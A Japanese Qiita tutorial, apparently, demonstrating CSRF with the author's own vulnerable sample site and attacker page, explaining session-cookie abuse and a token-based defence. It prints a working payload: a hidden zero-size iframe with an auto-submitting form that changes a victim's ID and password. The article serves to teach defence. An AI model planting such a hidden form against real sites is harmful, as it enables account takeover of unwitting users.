Help us understand the problem. What is going on with this article?

WEBエンジニアなら必ず知っておくべき「CSRF」のサンプルサイトを作ってみた

More than 1 year has passed since last update.

概要

  • CSRFはWEBセキュリティにおいて重要な知識
  • なのに入門者はCSRFについての知識を疎かにしてることが多い
  • CSRFは、実際のサンプルサイトがないと分かりにくい
  • ということで実際にサンプルサイトを作ってみた

サンプルサイト

何ができるサイトか

サンプルサイトで会員登録後、攻撃用ページを開くと、勝手にサンプルサイトのID、PWが変更されます

  1. サンプルサイトのトップページから会員登録ページへ飛びます
    Screenshot_46.png

  2. ID: hoge PW: fuga で会員登録してみます
    Screenshot_43.png

  3. マイページに飛びました
    Screenshot_42.png

  4. ここで、攻撃者用ページ(https://sagami1991.github.io/csrf-sample/) を開いてみます。開くだけで何もせずにOKです

  5. その後サンプルサイトのマイページに戻ると、IDとPWがhogehogehackerというものに変わっています。全く関係ない他者のページを踏んだだけで会員情報が勝手に変更されてしまいました
    Screenshot_44.png

仕組み

CSRF攻撃の仕組みはわかりやすい記事がそこら中にあると思うので細かい話は省略します。

  1. サンプルサイトでログインする
  2. 一定時間、ログインは保持される
    • (cookieにsessionIDを持っていて、サンプルサイトのサーバーはsessionIDを元にsession情報を読み取り、ログイン情報等も判断する)
  3. 攻撃者用ページにアクセスする
  4. 攻撃者用ページからiframe内で会員情報変更処理ページに自動でPOST送信される

    • iframe内でPOST送信させれば、画面遷移しないのでユーザーにばれない
    • iframeを埋め込んでいる部分
    index.html
    <iframe src="hack-iframe.html" width="0" height="0"></iframe>
    
    • iframeに埋め込んであるページのソース
    index.html
    <!-- ユーザー情報変更ページへPOST送信するForm -->
    <form action="https://hack-csrf-sample.herokuapp.com/mypage/edit" method="POST">
        <!-- サンプルサイトのhtmlソースを見ながらIDとパスワードのパラメータ名(name)を合わせ、
        変更させたい適当な値をvalueに設定する -->
        <input name="userId" value="hogehogehacker" />
        <input name="password" value="hogehogehacker" />
    </form>
    <script>
        // 自動でpost送信させるコード
        var form = document.querySelector("form");
        form.submit()
    </script>
    
  5. サンプルサイトの会員情報が勝手に変更される

    • ブラウザにサンプルサイトのcookie情報が残っていれば、サンプルサイトのサーバーサイドはログインしているものと判断するので、会員情報変更ページから変更リクエストが来たものと同じように判断してしまいます。

対策方法

これも、そこらの記事に書かれてあったり、フレームワークによって設定方法があると思うので細かいことは省略しますが、だいたい以下のような方法を採用しています。

  1. ログイン時にトークン(乱数)を生成し、sessionに格納する
  2. post送信時はform内にそのトークンを入れ、サーバー内でリクエストパラメータのトークンと、session内のトークンが同一かどうか判断する
  3. 同一ならばリクエストを受け付ける
    • SessionIDが漏れない限り、攻撃者はトークンが分からないので外部からPOST送信することができなくなる。

最後に

サンプルサイトはheroku、攻撃用ページはgithub pagesで作っています。
今どき、なんでもタダでできちゃうのがいいですね。
ちなみにサンプルサイトはtypescript+nodejsで書いています。
nodejsは環境構築が簡単で、重たいIDEなどもいらないので、ストレスフリーでこういうサンプルサイトがつくれちゃいます。

Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
Comments
No comments
Sign up for free and join this conversation.
If you already have a Qiita account
Why do not you register as a user and use Qiita more conveniently?
You need to log in to use this function. Qiita can be used more conveniently after logging in.
You seem to be reading articles frequently this month. Qiita can be used more conveniently after logging in.
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
ユーザーは見つかりませんでした